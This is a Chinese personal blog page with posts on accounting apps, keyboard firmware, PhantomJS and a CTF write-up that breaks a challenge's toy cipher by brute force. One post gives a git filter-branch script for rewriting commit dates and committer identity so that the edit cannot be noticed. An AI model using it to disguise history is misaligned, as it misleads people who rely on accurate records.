blog.dm4.tw

dm4's blog

用過的記帳軟體們

| Comments

整理一下自己的記帳歷史 XD 從 2009 到今年 2015 每天記帳也快七年了,一路上也用了不少套軟體:

TapExpense (iOS)

2009 買了 iPod touch ,用 TapExpense 開始記帳,每個月結算一次,輸出一份 excel 備份,然後再把月結記到 Numbers 裡。

因為 2011 年 TapExpense 換人開發,為了轉讓開發團隊所以重新上架,那時候覺得 code 都同一份還要多收錢就不太想用(要是現在大概就直接刷了 XD ),就開始找新的記帳軟體。

不過我還是一直用舊版 TapExpense 用到 2012 年底, 2013 年底選了 Money Story Book 來記帳。

心得: 只用到基本的記帳功能,畫面就是 iOS 原生的樣子( iOS 4 時代的原生 TableView ),可以匯出 csv / xls ,有簡單的圖表可以看,不過那時候我沒有分帳戶的需求,所以我也不記得它有沒有支援。

Money Story Book (iOS)

印象中是用了 Money Story Book 才開始分帳戶記帳的,剛開始分帳戶記的時候蠻誇張的,像是悠遊卡、摩斯卡之類的都會開一個帳戶來記,儲值就會記成「現金 -> 悠遊卡」的轉帳,記起來蠻麻煩的,不過好處是你可以打開記帳軟體來看自己的卡片餘額(雖然後來我又捨棄了為每張儲值卡開帳戶的記法 XD )

心得:支援多帳戶、預算、有支援子分類,畫面我覺得實在不算好看,有簡單的圖表和匯出功能。

Money by Jumsoft (iOS / OS X)

到 2013 年後期,開始覺得應該要找一款 iOS / OS X 之間能夠同步的軟體,剛好買了 MacHeist nanoBundle 3 ,裡面有 Money by Jumsoft ,剛好也有出 iOS 版,而且看起來可以用 Dropbox 同步應該蠻方便的,就決定 2014 年來換個軟體,然後買補了 Money 的 iOS 版( bundle 裡只有 OS X 版)。

題外話, MacHeist nanoBundle 3 真的是蠻划算的,有 AirServer / Fantastical / CleanMyMac 2 / Little Inferno ,還有四五個沒用到的軟體,只要 9.99 USD 啊啊啊!

沒想到…… Money 的 Dropbox 同步做的 超爛的 ,大概用了一個多月就發現有問題, iOS / OS X 的同步檔會是分開的, 沒有 簡單的方法重新讓他們再次同步,要再重開一個空的記錄檔才能同步,然後也沒有簡單的方法把舊的記錄移到新的同步檔裡……我有回報 bug ,不過沒辦法簡單的 reproduce ,所以也沒有下文……後來我就只用 OS X 版記帳了……

心得:同步 超爛 , iOS 版 超慢 , OS X 版 有點慢 (不知道現在有沒有改進),功能很多,有買股票、換外幣之類的功能,圖表也可以自訂,圖表也能匯出 pdf 。

MoneyWiz 2 (iOS / OS X)

其實後來發現 Money 同步超爛之後就很想換,那時候看到 MoneyWiz 要出新版,就想說出了再來換吧,就拖到 2015 了,功能上和 Money 差不多,不過啟動速度快多多了,重點是 同步功能正常 !不過在開始用 MoneyWiz 之後,覺得每張儲值卡都獨立帳戶的記帳方法太麻煩了,就改成在儲值的時候記成現金的花費,但是又因為後來比較多信用卡的消費,所以又把每張信用卡消費獨立出帳戶,然後繳卡費的時候記成帳戶之間的轉帳。

心得:同步運作正常,啟動速度還可以,圖表也能自訂,也可以在 iOS 瀏覽 OS X 建立的圖表,也有設定預算、排程的功能,能輸出 csv / pdf ,不過因為是用他們自己的服務同步的,所以有時候會公告說暫時不能同步(不過還沒影響到我過就是了)。

更改 Git Commit 時間

| Comments

最近剛好需要更改 git repo 的 commit time ,研究了一下順便把它記錄下來。

首先需要知道的是,在 git 裡,因為 commit 是可以被修改的,在一個 commit 裡其實會記錄 authorcommitterauthor 就是寫 code 的人, committer 則是真正提交 code 的人,

用法大概是:對某個你不是 maintainer 的 project ,你寫了一個新功能,然後用 git format-patch 生出了 patch ,接著你把這個 patch 送給 maintainer ,在 maintainer 決定採用你的 patch 之後,用 git apply 來採用你的 commit ,接著他再 git commit , code 才進到 repo 裡,這個新 commit 的 author 就是你, committer 就是真的做 git commit 的那個 maintainer 。

為什麼改 commit 時間,會要知道 git 裡的 author 和 committer 呢?因為在更改 commit 時間時,如果沒有特別注意的話,會只改到 commit time ,並且該 commit 的 committer 會變成自己,原本的 author 資訊和 author time 會保留下來,所以如果不想讓人發現曾經改過 commit 的話,必須把 committer 設成原本的 author ,也要把 author time 改成想要的 commit time 。

知道這些之後大概就沒問題了,可以用 git filter-branch (http://git-scm.com/docs/git-filter-branch) 來做:

Script & Setup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
[~/modify-commit-time] ➟  ls
modify_commit_time.sh*
[~/modify-commit-time] ➟  cat modify_commit_time.sh
# clear previous backup
rm -rf "$(git rev-parse --git-dir)/refs/original/"

commit="$1"
date=$(date -d "$2" +%s)
git filter-branch --env-filter \
    "if [ \$GIT_COMMIT = '$commit' ]; then
         export GIT_AUTHOR_DATE='$date'
         export GIT_COMMITTER_DATE='$date'
         export GIT_COMMITTER_NAME="\$GIT_AUTHOR_NAME"
         export GIT_COMMITTER_EMAIL="\$GIT_AUTHOR_EMAIL"
     fi"
[~/modify-commit-time] ➟  git init
Initialized empty Git repository in /home/dm4/modify-commit-time/.git/
(master) [~/modify-commit-time] ➟  git add modify_commit_time.sh
(master) [~/modify-commit-time] ➟  git commit -m 'add script'
[master (root-commit) 9c4c1d0] add script
 1 file changed, 12 insertions(+)
 create mode 100755 modify_commit_time.sh
(master) [~/modify-commit-time] ➟  echo '# Hello' > README.md
(master) [~/modify-commit-time] ➟  git add README.md
(master) [~/modify-commit-time] ➟  git commit -m 'add README'
[master a2913a7] add README
 1 file changed, 1 insertion(+)
 create mode 100644 README.md

可以看到現在有兩個 commit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(master) [~/modify-commit-time] ➟  git log --pretty=fuller
commit a2913a7c39977dd3c4f99f8cabc6fae5b3694cb2
Author:     dm4 <[email protected]>
AuthorDate: Sun Apr 19 16:48:33 2015 +0000
Commit:     dm4 <[email protected]>
CommitDate: Sun Apr 19 16:48:33 2015 +0000

    add README

commit 9c4c1d0b4499683ab0ba80dd7041b477c0adb2f0
Author:     dm4 <[email protected]>
AuthorDate: Sun Apr 19 16:48:33 2015 +0000
Commit:     dm4 <[email protected]>
CommitDate: Sun Apr 19 16:48:33 2015 +0000

    add script

Modify Commit Time

1
2
3
(master) [~/modify-commit-time] ➟  ./modify_commit_time.sh 9c4c1d0b4499683ab0ba80dd7041b477c0adb2f0 '3 month ago'
Rewrite a2913a7c39977dd3c4f99f8cabc6fae5b3694cb2 (2/2)
Ref 'refs/heads/master' was rewritten

Result

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
(master) [~/modify-commit-time] ➟  git log --pretty=fuller
commit 9552b631000134921a75f173fa7313c1a90cb96e
Author:     dm4 <[email protected]>
AuthorDate: Sun Apr 19 16:48:33 2015 +0000
Commit:     dm4 <[email protected]>
CommitDate: Sun Apr 19 16:48:33 2015 +0000

    add README

commit 67e6f5a501703e98f8d9711ade8ab3a51775c265
Author:     dm4 <[email protected]>
AuthorDate: Mon Jan 19 16:49:02 2015 +0000
Commit:     dm4 <[email protected]>
CommitDate: Mon Jan 19 16:49:02 2015 +0000

    add script

這裡可以看到雖然只改了 add script 的 commit ,但是連 add README 的 commit id 也變了,這是因為 git 在算 hash 的時候,也會包含 parent 的 commit id ,所以 parent 的 commit id 變了,所有的 child commit id 都會跟著變,這個在寫 script 批次處理的時候需要注意一下。

在 Mac OSX 上編譯 GH60 RevCHN Firmware

| Comments

來記錄一下在 Mac OSX 上,怎麼編譯和刷 GH60 RevCHN 的韌體

參考資料

步驟

根據 http://www.v2ex.com/t/161887 首先要先用 brew 裝crosspack 和 dfu-programmer ,不過因為時間過太久,有點忘記詳細的安裝指令, crosspack 需要 brew tap 的樣子。

裝完之後可以來載 source ,因為 tmk/tmk_keyboard 不支援 RevCHN ,所以要用 kairyu/tmk_keyboard_custom

1
git clone https://github.com/kairyu/tmk_keyboard_custom.git

需要在 config.h 加上設定,來切換成 GH60 RevCHN

1
2
cd keyboard/gh60
vim config.h

在檔案裡加上(如果你不確定加在哪,加到 #define CONFIG_H 下面就可以了)

1
#define GH60_REV_CHN

本來以為這樣就可以了,沒想到一直刷失敗,後來看了 http://www.v2ex.com/t/161887https://www.ptt.cc/bbs/Key_Mou_Pad/M.1426361327.A.EEB.html 兩篇,發現應該是要清空 EEPROM 的問題(可是我硬體知識不足,根本不知道那是什麼啊啊啊)

ptt 那篇的解法是「在插入 usb 前,按住 backspace 與 space 」,不過我有找到 Makefie 裡有個設定,刪掉(註解掉)也是可以的,和大家分享一下:

1
vim Makefile

把下面這行刪掉

1
KEYMAP_IN_EEPROM_ENABLE = yes # Read keymap from eeprom

接下來就插上鍵盤, OSX 應該會抓到一隻 GH60 ,可以用 system_profiler SPUSBDataType 指令檢查一下

1
2
3
4
5
6
7
8
9
10
11
12
(master) [~/workspace/tmk_keyboard_custom/keyboard/gh60] ➟  system_profiler SPUSBDataType
...
GH60:

  Product ID: 0x6060
  Vendor ID: 0xfeed
  Version:  0.01
  Speed: Up to 12 Mb/sec
  Manufacturer: geekhack
  Location ID: 0x14100000 / 15
  Current Available (mA): 500
  Current Required (mA): 100

按一下背面的按鈕會進入 dfu 模式,這時候 OSX 應該會抓到一個 Atmel 的設備

1
2
3
4
5
6
7
8
9
10
11
12
13
(master) [~/workspace/tmk_keyboard_custom/keyboard/gh60] ➟  system_profiler SPUSBDataType
...
ATm32U4DFU:

  Product ID: 0x2ff4
  Vendor ID: 0x03eb  (Atmel Corporation)
  Version:  0.00
  Serial Number: 1.0.0
  Speed: Up to 12 Mb/sec
  Manufacturer: ATMEL
  Location ID: 0x14100000 / 16
  Current Available (mA): 500
  Current Required (mA): Unknown (Device has not been configured)

然後就可以直接試刷預設的 poker layout 看看

1
make dfu

如果成功,在一堆 avr-gcc 的編譯訊之後,會看到

1
2
3
4
5
6
7
8
9
10
11
12
13
dfu-programmer atmega32u4 erase
Checking memory from 0x0 to 0x6FFF...  Not blank at 0x1.
Erasing flash...  Success
Checking memory from 0x0 to 0x6FFF...  Empty.
dfu-programmer atmega32u4 flash gh60_lufa.hex
Checking memory from 0x0 to 0x69FF...  Empty.
0%                            100%  Programming 0x6A00 bytes...
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]  Success
0%                            100%  Reading 0x7000 bytes...
[>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>]  Success
Validating...  Success
0x6A00 bytes written into 0x7000 bytes memory (94.64%).
dfu-programmer atmega32u4 reset

這樣子最基本的 layout 就成功了,如果不確定是不是真的有刷進去,可以改一下 keymap_poker.c 裡的 layout 看是不是真的刷進去了(例如把 Q 改成 X 之類的)

再來就可以自訂 layout 了,本來想很硬派的直接寫 c code ,不過覺得 code 裡很難排版,最後還是用 keyboard-layout-editor (KLE)TMK Keymap Generator (TKG) 來生成 c code ,我用的 layout 是:

然後在 TKG 上的設定為:

  • Keyboard
    • GH60 (RevCHN)
  • Layer Mode
    • Normal
  • Number of Layers
    • 3
  • Fn0
    • Layer action > Momentary layer 2
  • Fn1
    • Layer action > Toggle layer 1

這裡要注意,我把 Fn0 層放在 layer 2 ,是因為 key mapping 會從高層讀到低層,如果把 Fn1 層換到 layer 2 , Fn0 換到 layer 1 ,這樣子在切到 Fn1 層之後,按著 Fn0 也沒辦法切到 Fn0 層(同樣的問題在 https://www.ptt.cc/bbs/Key_Mou_Pad/M.1390542876.A.073.html 也有解釋)

接著就在 TKG 下載 .c 檔,把載下來的 keymap.c 放到資料夾下並改名,就可以準備刷了

1
2
mv ~/Downloads/keymap.c ./keymap_tkg.c
make KEYMAP=tkg dfu

這時候如果你看到以下的 error 的話

1
2
keymap_tkg.c:29:78: error: macro "KEYMAP_TKG" requires 62 arguments, but only 61 given
         LCTL,LALT,LGUI,          SPC,                     FN0, RGUI,RALT,RCTL),

是因為 TKG.c 檔的時候好像有 bug ,載下來的檔案,裡面的

1
ESC, 1,   2,   3,   4,   5,   6,   7,   8,   9,   0    MINS,EQL, BSPC, \

0MINS 中間少了 , ,所以改成

1
ESC, 1,   2,   3,   4,   5,   6,   7,   8,   9,   0,    MINS,EQL, BSPC, \

再編一次應該就 ok 了

後記

有一些 Fn action 現在還沒摸熟,看起來可以送 key / macro 的樣子,看到 https://github.com/kairyu/tmk_keyboard_custom/blob/master/keyboard/hhkb/keymap_hasu.c 有一些 function / macro 的用法還沒研究。

另外雖然編起來了,不過因為底層不熟,還不太清楚架構,希望研究一下之後可以把它和藍牙發射器接起來,之前的 自製 USB 鍵盤轉藍芽鍵盤轉接器 會有點 latency ,不知道如果直接讓 GH60 送訊號給藍牙模組會不會比較好。

SECUINSIDE CTF Finals 2014 Writeup - Reversing 100

| Comments

這題在現場沒解完…因為覺得應該只差一點點,回來之後果然弄出來了啊!

wooyaggo's fieldlink
1
2
3
4
5
6
7
8
decrypt it and submit 4th line(without last character 0x0a)

platin text example
1. AAA-111-ASRT-3.1-CC[n]
2. BBB-CCC-ASRT-9.5-DD[n]

http://dl.ctftime.org/144/1174/59a67b2df52c3e0a1330a5952a619462584bba28
http://dl.ctftime.org/144/1174/enc.txt

第一個連結載下來之後會發現是一個 zip 檔

1
2
$ file 59a67b2df52c3e0a1330a5952a619462584bba28
59a67b2df52c3e0a1330a5952a619462584bba28: Zip archive data, at least v1.0 to extract

看了一下內容,會發現是 iOS App 的結構

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ unzip -l 59a67b2df52c3e0a1330a5952a619462584bba28
Archive:  59a67b2df52c3e0a1330a5952a619462584bba28
  Length     Date   Time    Name
 --------    ----   ----    ----
        0  07-03-14 13:55   Payload/
        0  07-03-14 13:55   Payload/Inverse.app/
        0  07-03-14 13:55   Payload/Inverse.app/_CodeSignature/
     3074  07-03-14 13:55   Payload/Inverse.app/_CodeSignature/CodeResources
        0  07-03-14 13:55   Payload/Inverse.app/Base.lproj/
        0  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/
      258  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/Info.plist
        0  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/UIViewController-vXZ-lx-hvc.nib/
      953  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/UIViewController-vXZ-lx-hvc.nib/objects.nib
      953  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/UIViewController-vXZ-lx-hvc.nib/runtime.nib
        0  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/vXZ-lx-hvc-view-kh9-bI-dsS.nib/
     4276  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/vXZ-lx-hvc-view-kh9-bI-dsS.nib/objects.nib
     4454  07-03-14 13:55   Payload/Inverse.app/Base.lproj/Main.storyboardc/vXZ-lx-hvc-view-kh9-bI-dsS.nib/runtime.nib
    13944  07-03-14 13:55   Payload/Inverse.app/embedded.mobileprovision
        0  07-03-14 13:55   Payload/Inverse.app/en.lproj/
       42  07-03-14 13:55   Payload/Inverse.app/en.lproj/InfoPlist.strings
     1332  07-03-14 13:55   Payload/Inverse.app/Info.plist
   210368  07-03-14 13:55   Payload/Inverse.app/Inverse
    14929  07-03-14 13:55   Payload/Inverse.app/[email protected]
    14929  07-03-14 13:55   Payload/Inverse.app/[email protected]
        8  07-03-14 13:55   Payload/Inverse.app/PkgInfo
      150  07-03-14 13:55   Payload/Inverse.app/ResourceRules.plist
 --------                   -------
   269670                   22 files

otool 看一下執行檔有沒有被加密

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ otool -l Payload/Inverse.app/Inverse | grep -A5 LC_ENCRYPTION_INFO
          cmd LC_ENCRYPTION_INFO
      cmdsize 20
    cryptoff  16384
    cryptsize 16384
    cryptid   0
Load command 13
--
          cmd LC_ENCRYPTION_INFO
      cmdsize 20
    cryptoff  16384
    cryptsize 16384
    cryptid   0
Load command 13
--
          cmd LC_ENCRYPTION_INFO_64
      cmdsize 24
    cryptoff  16384
    cryptsize 16384
    cryptid   0
        pad   0

cryptid 是 0 表示沒有加密,所以我們可以直接來看 Payload/Inverse.app/Inverse

看了 code 之後會發現在 [ViewController viewDidLoad] 裡會去讀 /Users/hkpco/tmp/plain.txt ,把檔案的內容當作參數傳給 [ViewController es:] ,在 [ViewController es:] 裡會把 /Users/hkpco/tmp/plain.txt/Users/hkpco/tmp/pass.txt 做一些處理之後,把結果寫到 /Users/hkpco/tmp/enc.txt

把整段用 ruby 重寫會長得像

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
require 'digest/sha1'

def s(i)
  Digest::SHA1.hexdigest i.to_s
end

def h2i(h)
  h.to_i(16)
end

def all(h)
  h.split("").map{ |x| h2i(x) }.reduce(:+)
end

def es(plain, pass)
  enc = ""
  hash = s(pass)
  sum  = all(hash)
  (0..plain.length - 1).each do |i|
    result = plain[i].ord + h2i(hash[i % 40]) - sum
    sum    = all(s(plain[0..i])[0..19]) + all(s(sum)[0..19])
    enc   += result.to_s
  end
  enc
end

所以看到目前為止,我們要做的應該是「只知道 enc ,想辦法推回原本的 plain 」,原本的 pass 是什麼對我們來說不重要,我們只要知道 hash = s(pass) 是什麼就好了!

研究了一下會發現,如果要從 enc 逆推 plain 的話,只要暴搜每一輪的 plain[i]hash[i % 40]hash[i % 40] 因為是 hex ,只會有 16 種可能,暴完 40 位的 hash 之後,再看 sum 的起始值有沒有滿足 sum == all(hash) 就可以知道結果了。

比較討厭的是題目給的 1. AAA-111-ASRT-3.1-CC[n] ,真的去試的話會發現用 1. 開頭的 plain 是沒有解的,後面接 [n] 也是一樣,所以最後試出來每行的格式應該是像 [0-9A-Z]{3}-[0-9A-Z]{3}-ASRT-\d\.\d-[0-9A-Z]{2}\n…解這題的時候因為格式也卡了好久…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
enc = [
  -178, -189, -255, -256, -193, -257, -235, -159, -198, -227,
  -187, -187, -267, -221, -225, -228, -235, -249, -259, -287,
  -230, -190, -196, -218, -269, -230, -259, -239, -221, -205,
  -233, -253, -221, -228, -194, -312, -258, -120, -214, -269,
  -255, -186, -215, -258, -252, -229, -234, -289, -215, -229,
  -144, -199, -247, -174, -291, -202, -307, -195, -197, -237,
  -264, -173, -197, -249, -290, -226, -225, -204, -238, -244,
  -201, -152, -270, -244, -263, -155, -253, -229, -247, -319,
  -229, -272, -264, -280, -188, -203, -259, -258, -261, -195,
  -257, -166, -231, -207, -281, -191, -234, -210, -187, -309,
  -170, -172, -239, -225, -195, -238, -265, -260, -291, -185,
  -196, -191, -216, -225, -237, -248, -222, -167, -240, -269,
  -205, -172, -208, -235, -235, -223, -201, -254, -229, -230,
  -209, -265, -312, -240, -201, -274, -258, -180, -223, -250,
]

def dfs(plain, enc)
  round = plain.length
  if round > 39
    p plain
    return
  end

  round %= 20
  if round == 3 || round == 7 || round == 12 || round == 16
    chars = [ "-" ]
  elsif round >= 8 && round <= 11
    s = "ASRT"
    chars = [ s[round - 8] ]
  elsif round == 14
    chars = [ "." ]
  elsif round == 13 || round == 15
    chars = []
    ('0'..'9').each { |c| chars.push(c) }
  elsif round == 19
    chars = [ "\n" ]
  else
    chars = []
    ('0'..'9').each { |c| chars.push(c) }
    ('A'..'Z').each { |c| chars.push(c) }
  end
  chars.each do |c|
    plain = plain + c
    (0..15).each do |i|
      if brute_es(plain, enc, i)
        dfs(plain, enc)
        break
      end
    end
    plain = plain[0..-2]
  end
end

dfs("", enc)

一共會跑出 34 組,看到 SEC-KOR- 就覺得應該沒解錯,不過直接用 ruby 跑其實有點久,有時間再來看一下怎麼加速 XD

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ time ruby solve.rb
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-J1\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-J2\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KD\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KE\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KJ\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KM\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KN\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KO\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-L0\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-L2\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-MR\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-MX\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-N5\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-NB\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-NC\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-ND\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-PT\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-PY\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q0\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q1\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q2\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q3\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-RX\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SN\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SQ\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SR\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SU\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-T7\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-TE\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-UP\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-UU\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-W0\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-W6\n"
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-W8\n"

real    92m16.033s
user    92m12.464s
sys     0m3.675s

接下來就對這幾組,看他們的 hashsum == all(hash)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
plains = [
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-J1\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-J2\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KD\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KE\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KJ\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KM\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KN\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KO\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-L0\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-L2\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-MR\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-MX\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-N5\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-NB\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-NC\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-ND\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-PT\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-PY\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q0\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q1\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q2\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-Q3\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-RX\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SN\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SQ\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SR\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-SU\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-T7\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-TE\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-UP\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-UU\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-W0\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-W6\n",
  "SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-W8\n",
]

def rev_es(plain, enc, start)
  hash = ""
  hash += start.to_s(16)

  first_sum = plain[0].ord + start - enc[0]
  sum = first_sum;
  sum = all(s(plain[0])[0..19]) + all(s(sum)[0..19])

  (1..plain.length - 1).each do |i|
    r   = enc[i] - plain[i].ord + sum
    sum = all(s(plain[0..i])[0..19]) + all(s(sum)[0..19])
    return 0 if r < 0 || r > 15
    hash += r.to_s(16)
  end

  p hash if all(hash) == first_sum
end

decode_hash(plains, enc)

只有兩組符合條件

1
2
3
$ ruby solve.rb
"011c945f30ce2cbafc452f39840f025693339c42"
"011c945f30ce2cbafc452f39840f025693339909"

接著就直接用這兩組來解 enc ,看看哪個才是正解!

1
2
3
4
5
6
7
8
9
10
11
12
13
def es_hash(enc, hash)
  output = ""
  sum  = all(hash)
  (0..enc.length - 1).each do |i|
    c = enc[i] - h2i(hash[i % 40]) + sum
    output += c.chr
    sum    = all(s(output)[0..19]) + all(s(sum)[0..19])
  end
  output
end

p es_hash(enc, "011c945f30ce2cbafc452f39840f025693339c42")
p es_hash(enc, "011c945f30ce2cbafc452f39840f025693339909") # error

用第一個 hash 可以成功還原 plain

1
2
$ ruby solve.rb
"SEC-41A-ASRT-3.1-OK\nKOR-A43-ASRT-9.3-KO\nCOV-718-ASRT-7.9-QE\nCON-C1D-ASRT-1.1-CO\nCOM-ICQ-ASRT-1.9-KR\nLSA-IQ1-ASRT-3.0-KR\nAES-JOO-ASRT-9.9-KR\n"

所以 flag 應該就是第四行的 CON-C1D-ASRT-1.1-CO

不過最後正確的 hash011c945f30ce2cbafc452f39840f025693339c42 ,其實 pass 就只是 1111 而已…

PhantomJS 初體驗

| Comments

最近因為想要爬個網頁資料,結果礙於處理不了萬惡的 __VIEWSTATE__EVENTVALIDATION ,在時間的壓力下就決定改用 ggm 推薦 PhantomJS ,一用之下驚為天人啊,太神了!

PhantomJS 概念就是在裡面跑一個 Webkit ,然後讓你用 JavaScript 控制它,所以可以模擬瀏覽器載入網頁之後 inject script / evaluate script / screenshot 的動作,官方文件也有寫到可以拿來作 web 的 testing ,模擬瀏覽、點擊之類的瀏覽器操作。

官網的 Quick Start 寫的蠻清楚的, Examples 也有很多範例可以參考,我自己用到的功能只有連線一個網頁後,對網頁的 document 作操作,然後把結果印出來,下面這段簡單的 code 就是連上 http://blog.dm4.tw 首頁,拿到最新一篇文章的標題,印出標題之後截圖:

1
2
3
4
5
6
7
8
9
10
var page = require('webpage').create();

page.open('http://blog.dm4.tw', function() {
    var article_title = page.evaluate(function() {
        return document.getElementsByClassName("entry-title")[0].children[0].innerHTML;
    });
    console.log(article_title);
    page.render('blog.png');
    phantom.exit();
});

PhantomJS + Node.js

可以用 https://github.com/Medium/phantomjs ,裡面也有提到怎麼用 node 跑起來:

1
2
3
4
5
6
7
8
9
10
11
12
13
var path = require('path')
var childProcess = require('child_process')
var phantomjs = require('phantomjs')
var binPath = phantomjs.path

var childArgs = [
  path.join(__dirname, 'phantomjs-script.js'),
  'some other argument (passed to phantomjs script)'
]

childProcess.execFile(binPath, childArgs, function(err, stdout, stderr) {
  // handle results
})

不過要注意他是開 process 跑的,不要像我一不注意開太多結果……

遇到的問題

因為直接用 node 跑的話沒噴錯誤訊息,所以下面這兩個問題找了好久啊,如果發現 node 跑怪怪的,可以直接用 phantomjs 跑跑看,至少錯誤訊息比較清楚……

在 Ubuntu 上跑不起來

因為要 render 的關係,所以要裝 libfontconfig

sudo apt-get install libfontconfig

打不開 https 的網頁

